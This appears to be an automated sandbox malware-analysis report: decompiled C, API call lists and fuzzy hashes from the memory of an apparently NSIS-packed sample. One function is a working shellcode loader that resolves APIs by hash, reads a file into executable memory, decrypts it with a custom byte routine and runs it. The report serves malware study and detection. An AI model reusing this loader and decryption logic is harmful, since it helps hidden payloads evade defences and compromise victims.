                                                                                    0x00406e9a
                                                                                    0x00406e9d
                                                                                    0x00406eb6
                                                                                    0x00406eb8
                                                                                    0x00406ebb
                                                                                    0x00406ebc
                                                                                    0x00406ebf
                                                                                    0x00406ec1
                                                                                    0x00406ec4
                                                                                    0x00406ec6
                                                                                    0x00406ec8
                                                                                    0x00406ecb
                                                                                    0x00406ecd
                                                                                    0x00406ed0
                                                                                    0x00406ed4
                                                                                    0x00406ed6
                                                                                    0x00406ed6
                                                                                    0x00406ed7
                                                                                    0x00406eda
                                                                                    0x00406edd
                                                                                    0x00406e9f
                                                                                    0x00406e9f
                                                                                    0x00406ea7
                                                                                    0x00406eac
                                                                                    0x00406eae
                                                                                    0x00406eb1
                                                                                    0x00406eb1
                                                                                    0x00406ee0
                                                                                    0x00406ee7
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee7
                                                                                    0x00406dfa
                                                                                    0x00406dfd
                                                                                    0x00406dff
                                                                                    0x00406e02
                                                                                    0x00406e05
                                                                                    0x00406e08
                                                                                    0x00406e0a
                                                                                    0x00406e0d
                                                                                    0x00406e10
                                                                                    0x00406e10
                                                                                    0x00406e13
                                                                                    0x00406e13
                                                                                    0x00406e16
                                                                                    0x00406e1d
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1d
                                                                                    0x00406da3
                                                                                    0x00406da6
                                                                                    0x00406da8
                                                                                    0x00406dab
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b0a
                                                                                    0x00406b0a
                                                                                    0x00406b0e
                                                                                    0x00407153
                                                                                    0x00000000
                                                                                    0x00407153
                                                                                    0x00406b14
                                                                                    0x00406b17
                                                                                    0x00406b1a
                                                                                    0x00406b1d
                                                                                    0x00406b20
                                                                                    0x00406b23
                                                                                    0x00406b26
                                                                                    0x00406b28
                                                                                    0x00406b2b
                                                                                    0x00406b2e
                                                                                    0x00406b31
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c95
                                                                                    0x00406c95
                                                                                    0x00406c99
                                                                                    0x0040715f
                                                                                    0x00000000
                                                                                    0x0040715f
                                                                                    0x00406c9f
                                                                                    0x00406ca2
                                                                                    0x00406ca5
                                                                                    0x00406ca8
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406cad
                                                                                    0x00406cb0
                                                                                    0x00406cb3
                                                                                    0x00406cb6
                                                                                    0x00406cb9
                                                                                    0x00406cbc
                                                                                    0x00406cbd
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cc2
                                                                                    0x00406cc5
                                                                                    0x00406cc8
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406cce
                                                                                    0x00406cd0
                                                                                    0x00406cd0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f16
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f1c
                                                                                    0x00406f1f
                                                                                    0x00406f22
                                                                                    0x00406f25
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f2a
                                                                                    0x00406f2d
                                                                                    0x00406f30
                                                                                    0x00406f33
                                                                                    0x00406f36
                                                                                    0x00406f39
                                                                                    0x00406f3a
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3f
                                                                                    0x00406f42
                                                                                    0x00406f45
                                                                                    0x00406f48
                                                                                    0x00406f4b
                                                                                    0x00406f4f
                                                                                    0x00406f51
                                                                                    0x00406f54
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x00000000
                                                                                    0x00406cd3
                                                                                    0x00406f54
                                                                                    0x00407189
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x004071c0
                                                                                    0x004071c0
                                                                                    0x00000000
                                                                                    0x004071c0
                                                                                    0x0040700d
                                                                                    0x00406f94
                                                                                    0x00406f91

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: e1b0e058f0407479a5b4db29d08bd0827f70999cda66fb763b614c0a8a1c0f1e
                                                                                    • Instruction ID: 903876060ddd0b56a19be001448e640a61514b7b9d13fdc5f9f4a1faaeb2382a
                                                                                    • Opcode Fuzzy Hash: e1b0e058f0407479a5b4db29d08bd0827f70999cda66fb763b614c0a8a1c0f1e
                                                                                    • Instruction Fuzzy Hash: AA714431D04229CBDF28CF98C844BADBBB1FF44305F15806AD856BB281C778AA96DF45
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 62%
                                                                                    			E10001120(void* __eflags) {
                                                                                    				signed int _v8;
                                                                                    				short _v528;
                                                                                    				signed int _v529;
                                                                                    				signed int _v536;
                                                                                    				intOrPtr _v540;
                                                                                    				void* _v544;
                                                                                    				long _v548;
                                                                                    				void* _v552;
                                                                                    				long _v556;
                                                                                    				intOrPtr _v560;
                                                                                    				intOrPtr _v564;
                                                                                    				intOrPtr _v568;
                                                                                    				intOrPtr _v572;
                                                                                    				intOrPtr _v576;
                                                                                    				intOrPtr _v580;
                                                                                    				signed int _t158;
                                                                                    
                                                                                    				_v8 =  *0x10003020 ^ _t158;
                                                                                    				_v536 = 0;
                                                                                    				_v556 = 0;
                                                                                    				_v540 = E10001000();
                                                                                    				_v568 = E10001070(_v540, 0x8a111d91);
                                                                                    				_v560 = E10001070(_v540, 0xcbec1a0);
                                                                                    				_v564 = E10001070(_v540, 0xa4f84a9a);
                                                                                    				_v572 = E10001070(_v540, 0x170c1ca1);
                                                                                    				_v580 = E10001070(_v540, 0x433a3842);
                                                                                    				_v576 = E10001070(_v540, 0xa5f15738);
                                                                                    				_v560(0x103,  &_v528);
                                                                                    				_v564( &_v528, 0x10003000);
                                                                                    				_v552 = CreateFileW( &_v528, 0x80000000, 7, 0, 3, 0x80, 0);
                                                                                    				_v548 = _v572(_v552, 0);
                                                                                    				_v544 = VirtualAlloc(0, _v548, 0x3000, 0x40);
                                                                                    				ReadFile(_v552, _v544, _v548,  &_v556, 0);
                                                                                    				_v536 = 0;
                                                                                    				while(_v536 < _v556) {
                                                                                    					_v529 =  *((intOrPtr*)(_v544 + _v536));
                                                                                    					_v529 =  !(_v529 & 0x000000ff);
                                                                                    					_v529 = (_v529 & 0x000000ff) - _v536;
                                                                                    					_v529 =  ~(_v529 & 0x000000ff);
                                                                                    					_v529 = (_v529 & 0x000000ff) + _v536;
                                                                                    					_v529 =  ~(_v529 & 0x000000ff);
                                                                                    					_v529 = (_v529 & 0x000000ff) >> 0x00000005 | (_v529 & 0x000000ff) << 0x00000003;
                                                                                    					_v529 = _v529 & 0x000000ff ^ _v536;
                                                                                    					_v529 =  !(_v529 & 0x000000ff);
                                                                                    					_v529 = (_v529 & 0x000000ff) + 0xbb;
                                                                                    					_v529 =  ~(_v529 & 0x000000ff);
                                                                                    					_v529 = _v529 & 0x000000ff ^ 0x0000000f;
                                                                                    					_v529 = (_v529 & 0x000000ff) + 0x2d;
                                                                                    					_v529 = _v529 & 0x000000ff ^ 0x0000006c;
                                                                                    					_v529 =  !(_v529 & 0x000000ff);
                                                                                    					_v529 = (_v529 & 0x000000ff) - 0x6e;
                                                                                    					 *((char*)(_v544 + _v536)) = _v529;
                                                                                    					_v536 = _v536 + 1;
                                                                                    				}
                                                                                    				_v544();
                                                                                    				return E10001516(_v8 ^ _t158);
                                                                                    			}



















                                                                                    0x10001130
                                                                                    0x10001133
                                                                                    0x1000113d
                                                                                    0x1000114c
                                                                                    0x10001166
                                                                                    0x10001180
                                                                                    0x1000119a
                                                                                    0x100011b4
                                                                                    0x100011ce
                                                                                    0x100011e8
                                                                                    0x100011fa
                                                                                    0x1000120c
                                                                                    0x10001231
                                                                                    0x10001246
                                                                                    0x10001262
                                                                                    0x10001286
                                                                                    0x1000128c
                                                                                    0x100012a7
                                                                                    0x100012c7
                                                                                    0x100012d6
                                                                                    0x100012e9
                                                                                    0x100012f8
                                                                                    0x1000130b
                                                                                    0x1000131a
                                                                                    0x10001336
                                                                                    0x10001349
                                                                                    0x10001358
                                                                                    0x1000136b
                                                                                    0x1000137a
                                                                                    0x1000138a
                                                                                    0x1000139a
                                                                                    0x100013aa
                                                                                    0x100013b9
                                                                                    0x100013c9
                                                                                    0x100013e1
                                                                                    0x100012a1
                                                                                    0x100012a1
                                                                                    0x100013e8
                                                                                    0x100013fb

                                                                                    APIs
                                                                                    • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 1000122B
                                                                                    • VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 1000125C
                                                                                    • ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 10001286
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.665842804.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true
                                                                                    • Associated: 00000000.00000002.665828602.0000000010000000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.665850721.0000000010002000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: File$AllocCreateReadVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 3585551309-0
                                                                                    • Opcode ID: b48d60b50e69dd87c216425a0cdaf688743907a0a00d4035aac6e2b1abfe89be
                                                                                    • Instruction ID: ab96864c600f385e1f7666c42c7434809cc538d8a84ce7794f29741b7eb1d4ac
                                                                                    • Opcode Fuzzy Hash: b48d60b50e69dd87c216425a0cdaf688743907a0a00d4035aac6e2b1abfe89be
                                                                                    • Instruction Fuzzy Hash: 29713D74C462BC9ADB21CBA48C9C7EDBFB09F6A241F0481C9E59D66286C6345FC4CF61
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 93%
                                                                                    			E0040329A(intOrPtr _a4) {
                                                                                    				intOrPtr _t11;
                                                                                    				signed int _t12;
                                                                                    				void* _t14;
                                                                                    				void* _t15;
                                                                                    				long _t16;
                                                                                    				void* _t18;
                                                                                    				intOrPtr _t31;
                                                                                    				intOrPtr _t34;
                                                                                    				intOrPtr _t36;
                                                                                    				void* _t37;
                                                                                    				intOrPtr _t49;
                                                                                    
                                                                                    				_t34 =  *0x41f8fc -  *0x40b868 + _a4;
                                                                                    				 *0x424750 = GetTickCount() + 0x1f4;
                                                                                    				if(_t34 <= 0) {
                                                                                    					L22:
                                                                                    					E00402E52(1);
                                                                                    					return 0;
                                                                                    				}
                                                                                    				E00403419( *0x41f90c);
                                                                                    				SetFilePointer( *0x40a01c,  *0x40b868, 0, 0); // executed
                                                                                    				 *0x41f908 = _t34;
                                                                                    				 *0x41f8f8 = 0;
                                                                                    				while(1) {
                                                                                    					_t31 = 0x4000;
                                                                                    					_t11 =  *0x41f900 -  *0x41f90c;
                                                                                    					if(_t11 <= 0x4000) {
                                                                                    						_t31 = _t11;
                                                                                    					}
                                                                                    					_t12 = E00403403(0x4138f8, _t31);
                                                                                    					if(_t12 == 0) {
                                                                                    						break;
                                                                                    					}
                                                                                    					 *0x41f90c =  *0x41f90c + _t31;
                                                                                    					 *0x40b888 = 0x4138f8;
                                                                                    					 *0x40b88c = _t31;
                                                                                    					L6:
                                                                                    					L6:
                                                                                    					if( *0x424754 != 0 &&  *0x424800 == 0) {
                                                                                    						 *0x41f8f8 =  *0x41f908 -  *0x41f8fc - _a4 +  *0x40b868;
                                                                                    						E00402E52(0);
                                                                                    					}
                                                                                    					 *0x40b890 = 0x40b8f8;
                                                                                    					 *0x40b894 = 0x8000; // executed
                                                                                    					_t14 = E00406776(0x40b870); // executed
                                                                                    					if(_t14 < 0) {
                                                                                    						goto L20;
                                                                                    					}
                                                                                    					_t36 =  *0x40b890; // 0x40f9c5
                                                                                    					_t37 = _t36 - 0x40b8f8;
                                                                                    					if(_t37 == 0) {
                                                                                    						__eflags =  *0x40b88c; // 0x0
                                                                                    						if(__eflags != 0) {
                                                                                    							goto L20;
                                                                                    						}
                                                                                    						__eflags = _t31;
                                                                                    						if(_t31 == 0) {
                                                                                    							goto L20;
                                                                                    						}
                                                                                    						L16:
                                                                                    						_t16 =  *0x41f8fc;
                                                                                    						if(_t16 -  *0x40b868 + _a4 > 0) {
                                                                                    							continue;
                                                                                    						}
                                                                                    						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
                                                                                    						goto L22;
                                                                                    					}
                                                                                    					_t18 = E00405E68( *0x40a01c, 0x40b8f8, _t37); // executed
                                                                                    					if(_t18 == 0) {
                                                                                    						_push(0xfffffffe);
                                                                                    						L21:
                                                                                    						_pop(_t15);
                                                                                    						return _t15;
                                                                                    					}
                                                                                    					 *0x40b868 =  *0x40b868 + _t37;
                                                                                    					_t49 =  *0x40b88c; // 0x0
                                                                                    					if(_t49 != 0) {
                                                                                    						goto L6;
                                                                                    					}
                                                                                    					goto L16;
                                                                                    					L20:
                                                                                    					_push(0xfffffffd);
                                                                                    					goto L21;
                                                                                    				}
                                                                                    				return _t12 | 0xffffffff;
                                                                                    			}














                                                                                    0x004032aa
                                                                                    0x004032bd
                                                                                    0x004032c2
                                                                                    0x004033f2
                                                                                    0x004033f4
                                                                                    0x00000000
                                                                                    0x004033fa
                                                                                    0x004032ce
                                                                                    0x004032e1
                                                                                    0x004032e7
                                                                                    0x004032ed
                                                                                    0x004032f8
                                                                                    0x004032fd
                                                                                    0x00403302
                                                                                    0x0040330a
                                                                                    0x0040330c
                                                                                    0x0040330c
                                                                                    0x00403315
                                                                                    0x0040331c
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403322
                                                                                    0x00403328
                                                                                    0x0040332e
                                                                                    0x00000000
                                                                                    0x00403334
                                                                                    0x0040333a
                                                                                    0x0040335a
                                                                                    0x0040335f
                                                                                    0x00403364
                                                                                    0x0040336a
                                                                                    0x00403370
                                                                                    0x0040337a
                                                                                    0x00403381
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403383
                                                                                    0x00403389
                                                                                    0x0040338b
                                                                                    0x004033ae
                                                                                    0x004033b4
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004033b6
                                                                                    0x004033b8
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004033ba
                                                                                    0x004033ba
                                                                                    0x004033cd
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004033dc
                                                                                    0x00000000
                                                                                    0x004033dc
                                                                                    0x00403395
                                                                                    0x0040339c
                                                                                    0x004033e9
                                                                                    0x004033ef
                                                                                    0x004033ef
                                                                                    0x00000000
                                                                                    0x004033ef
                                                                                    0x0040339e
                                                                                    0x004033a4
                                                                                    0x004033aa
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004033ed
                                                                                    0x004033ed
                                                                                    0x00000000
                                                                                    0x004033ed
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • GetTickCount.KERNEL32 ref: 004032AE
                                                                                      • Part of subcall function 00403419: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403117,?), ref: 00403427
                                                                                    • SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004031C4,00000004,00000000,00000000,?,?,0040313E,000000FF,00000000,00000000,0040A130,?), ref: 004032E1
                                                                                    • SetFilePointer.KERNELBASE(?,00000000,00000000,004138F8,00004000,?,00000000,004031C4,00000004,00000000,00000000,?,?,0040313E,000000FF,00000000), ref: 004033DC
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: FilePointer$CountTick
                                                                                    • String ID:
                                                                                    • API String ID: 1092082344-0
                                                                                    • Opcode ID: 10914339fb078c172392a439e9ed0b3db4c7f76b37a754b5eca90989c3c04b63
                                                                                    • Instruction ID: 9f56c4e15643f9c800c1675ca7a95df02ba07fd451ae32c2dc2afdd0933238d4
                                                                                    • Opcode Fuzzy Hash: 10914339fb078c172392a439e9ed0b3db4c7f76b37a754b5eca90989c3c04b63
                                                                                    • Instruction Fuzzy Hash: E6317A72500216DFD710BF2AEE8496A3BACE740356324C13BE914B22F0CB3899469B9D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 92%
                                                                                    			E00403192(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
                                                                                    				long _v8;
                                                                                    				long _t21;
                                                                                    				long _t22;
                                                                                    				void* _t24;
                                                                                    				long _t26;
                                                                                    				int _t27;
                                                                                    				long _t28;
                                                                                    				void* _t30;
                                                                                    				long _t31;
                                                                                    				long _t32;
                                                                                    				long _t36;
                                                                                    
                                                                                    				_t21 = _a4;
                                                                                    				if(_t21 >= 0) {
                                                                                    					_t32 = _t21 +  *0x4247b8;
                                                                                    					 *0x41f8fc = _t32;
                                                                                    					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
                                                                                    				}
                                                                                    				_t22 = E0040329A(4);
                                                                                    				if(_t22 >= 0) {
                                                                                    					_t24 = E00405E39( *0x40a01c,  &_a4, 4); // executed
                                                                                    					if(_t24 == 0) {
                                                                                    						L18:
                                                                                    						_push(0xfffffffd);
                                                                                    						goto L19;
                                                                                    					} else {
                                                                                    						 *0x41f8fc =  *0x41f8fc + 4;
                                                                                    						_t36 = E0040329A(_a4);
                                                                                    						if(_t36 < 0) {
                                                                                    							L21:
                                                                                    							_t22 = _t36;
                                                                                    						} else {
                                                                                    							if(_a12 != 0) {
                                                                                    								_t26 = _a4;
                                                                                    								if(_t26 >= _a16) {
                                                                                    									_t26 = _a16;
                                                                                    								}
                                                                                    								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
                                                                                    								if(_t27 != 0) {
                                                                                    									_t36 = _v8;
                                                                                    									 *0x41f8fc =  *0x41f8fc + _t36;
                                                                                    									goto L21;
                                                                                    								} else {
                                                                                    									goto L18;
                                                                                    								}
                                                                                    							} else {
                                                                                    								if(_a4 <= 0) {
                                                                                    									goto L21;
                                                                                    								} else {
                                                                                    									while(1) {
                                                                                    										_t28 = _a4;
                                                                                    										if(_a4 >= 0x4000) {
                                                                                    											_t28 = 0x4000;
                                                                                    										}
                                                                                    										_v8 = _t28;
                                                                                    										if(E00405E39( *0x40a01c, 0x4138f8, _t28) == 0) {
                                                                                    											goto L18;
                                                                                    										}
                                                                                    										_t30 = E00405E68(_a8, 0x4138f8, _v8); // executed
                                                                                    										if(_t30 == 0) {
                                                                                    											_push(0xfffffffe);
                                                                                    											L19:
                                                                                    											_pop(_t22);
                                                                                    										} else {
                                                                                    											_t31 = _v8;
                                                                                    											_a4 = _a4 - _t31;
                                                                                    											 *0x41f8fc =  *0x41f8fc + _t31;
                                                                                    											_t36 = _t36 + _t31;
                                                                                    											if(_a4 > 0) {
                                                                                    												continue;
                                                                                    											} else {
                                                                                    												goto L21;
                                                                                    											}
                                                                                    										}
                                                                                    										goto L22;
                                                                                    									}
                                                                                    									goto L18;
                                                                                    								}
                                                                                    							}
                                                                                    						}
                                                                                    					}
                                                                                    				}
                                                                                    				L22:
                                                                                    				return _t22;
                                                                                    			}














                                                                                    0x00403196
                                                                                    0x0040319f
                                                                                    0x004031a8
                                                                                    0x004031ac
                                                                                    0x004031b7
                                                                                    0x004031b7
                                                                                    0x004031bf
                                                                                    0x004031c6
                                                                                    0x004031d8
                                                                                    0x004031df
                                                                                    0x00403284
                                                                                    0x00403284
                                                                                    0x00000000
                                                                                    0x004031e5
                                                                                    0x004031e8
                                                                                    0x004031f4
                                                                                    0x004031f8
                                                                                    0x00403292
                                                                                    0x00403292
                                                                                    0x004031fe
                                                                                    0x00403201
                                                                                    0x00403260
                                                                                    0x00403266
                                                                                    0x00403268
                                                                                    0x00403268
                                                                                    0x0040327a
                                                                                    0x00403282
                                                                                    0x00403289
                                                                                    0x0040328c
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403203
                                                                                    0x00403206
                                                                                    0x00000000
                                                                                    0x0040320c
                                                                                    0x00403211
                                                                                    0x00403218
                                                                                    0x0040321b
                                                                                    0x0040321d
                                                                                    0x0040321d
                                                                                    0x0040322a
                                                                                    0x00403234
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040323d
                                                                                    0x00403244
                                                                                    0x0040325c
                                                                                    0x00403286
                                                                                    0x00403286
                                                                                    0x00403246
                                                                                    0x00403246
                                                                                    0x00403249
                                                                                    0x0040324c
                                                                                    0x00403252
                                                                                    0x00403258
                                                                                    0x00000000
                                                                                    0x0040325a
                                                                                    0x00000000
                                                                                    0x0040325a
                                                                                    0x00403258
                                                                                    0x00000000
                                                                                    0x00403244
                                                                                    0x00000000
                                                                                    0x00403211
                                                                                    0x00403206
                                                                                    0x00403201
                                                                                    0x004031f8
                                                                                    0x004031df
                                                                                    0x00403294
                                                                                    0x00403297

                                                                                    APIs
                                                                                    • SetFilePointer.KERNELBASE(0040A130,00000000,00000000,00000000,00000000,?,?,0040313E,000000FF,00000000,00000000,0040A130,?), ref: 004031B7
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: FilePointer
                                                                                    • String ID:
                                                                                    • API String ID: 973152223-0
                                                                                    • Opcode ID: 01e98dbf49a9efced9094fa2c3d361a4303186e46b1d46872f44f8f4f7fda8b1
                                                                                    • Instruction ID: 417efc13fc3ab0d651ced5ea1d77d103914e3086752ee655c490bf772f36c9c7
                                                                                    • Opcode Fuzzy Hash: 01e98dbf49a9efced9094fa2c3d361a4303186e46b1d46872f44f8f4f7fda8b1
                                                                                    • Instruction Fuzzy Hash: 6A316D30100319FFDB109F96ED48A9A7FA8EB04359B20847FF914E6190D338DB519BA9
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 59%
                                                                                    			E00401389(signed int _a4, struct HWND__* _a11) {
                                                                                    				intOrPtr* _t6;
                                                                                    				void* _t8;
                                                                                    				void* _t10;
                                                                                    				signed int _t11;
                                                                                    				void* _t12;
                                                                                    				signed int _t16;
                                                                                    				signed int _t17;
                                                                                    
                                                                                    				_t17 = _a4;
                                                                                    				while(_t17 >= 0) {
                                                                                    					_t6 = _t17 * 0x1c +  *0x424790;
                                                                                    					if( *_t6 == 1) {
                                                                                    						break;
                                                                                    					}
                                                                                    					_push(_t6); // executed
                                                                                    					_t8 = E00401434(); // executed
                                                                                    					if(_t8 == 0x7fffffff) {
                                                                                    						return 0x7fffffff;
                                                                                    					}
                                                                                    					_t10 = E0040136D(_t8);
                                                                                    					if(_t10 != 0) {
                                                                                    						_t11 = _t10 - 1;
                                                                                    						_t16 = _t17;
                                                                                    						_t17 = _t11;
                                                                                    						_t12 = _t11 - _t16;
                                                                                    					} else {
                                                                                    						_t12 = _t10 + 1;
                                                                                    						_t17 = _t17 + 1;
                                                                                    					}
                                                                                    					if(_a11 != 0) {
                                                                                    						 *0x423f2c =  *0x423f2c + _t12;
                                                                                    						SendMessageA(_a11, 0x402, MulDiv( *0x423f2c, 0x7530,  *0x423f14), 0);
                                                                                    					}
                                                                                    				}
                                                                                    				return 0;
                                                                                    			}










                                                                                    0x0040138a
                                                                                    0x004013fa
                                                                                    0x0040139b
                                                                                    0x004013a0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004013a2
                                                                                    0x004013a3
                                                                                    0x004013ad
                                                                                    0x00000000
                                                                                    0x00401404
                                                                                    0x004013b0
                                                                                    0x004013b7
                                                                                    0x004013bd
                                                                                    0x004013be
                                                                                    0x004013c0
                                                                                    0x004013c2
                                                                                    0x004013b9
                                                                                    0x004013b9
                                                                                    0x004013ba
                                                                                    0x004013ba
                                                                                    0x004013c9
                                                                                    0x004013cb
                                                                                    0x004013f4
                                                                                    0x004013f4
                                                                                    0x004013c9
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                                                    • SendMessageA.USER32 ref: 004013F4
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSend
                                                                                    • String ID:
                                                                                    • API String ID: 3850602802-0
                                                                                    • Opcode ID: bd8df2336641fef3ba5122bb8ee68c85eddc30aa2a367a6b625e197710042414
                                                                                    • Instruction ID: 619251f0f573ab9f47b456b69b18ba8f896b0ae65f75ba169e48b75275ff5987
                                                                                    • Opcode Fuzzy Hash: bd8df2336641fef3ba5122bb8ee68c85eddc30aa2a367a6b625e197710042414
                                                                                    • Instruction Fuzzy Hash: F301D131B242109BE7194B38AE04B2A36A8E754315F11813AF855F61F1DA78CC129B4C
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00406631(signed int _a4) {
                                                                                    				struct HINSTANCE__* _t5;
                                                                                    				signed int _t10;
                                                                                    
                                                                                    				_t10 = _a4 << 3;
                                                                                    				_t8 =  *(_t10 + 0x40a258);
                                                                                    				_t5 = GetModuleHandleA( *(_t10 + 0x40a258));
                                                                                    				if(_t5 != 0) {
                                                                                    					L2:
                                                                                    					return GetProcAddress(_t5,  *(_t10 + 0x40a25c));
                                                                                    				}
                                                                                    				_t5 = E004065C3(_t8); // executed
                                                                                    				if(_t5 == 0) {
                                                                                    					return 0;
                                                                                    				}
                                                                                    				goto L2;
                                                                                    			}





                                                                                    0x00406639
                                                                                    0x0040663c
                                                                                    0x00406643
                                                                                    0x0040664b
                                                                                    0x00406657
                                                                                    0x00000000
                                                                                    0x0040665e
                                                                                    0x0040664e
                                                                                    0x00406655
                                                                                    0x00000000
                                                                                    0x00406666
                                                                                    0x00000000

                                                                                    APIs
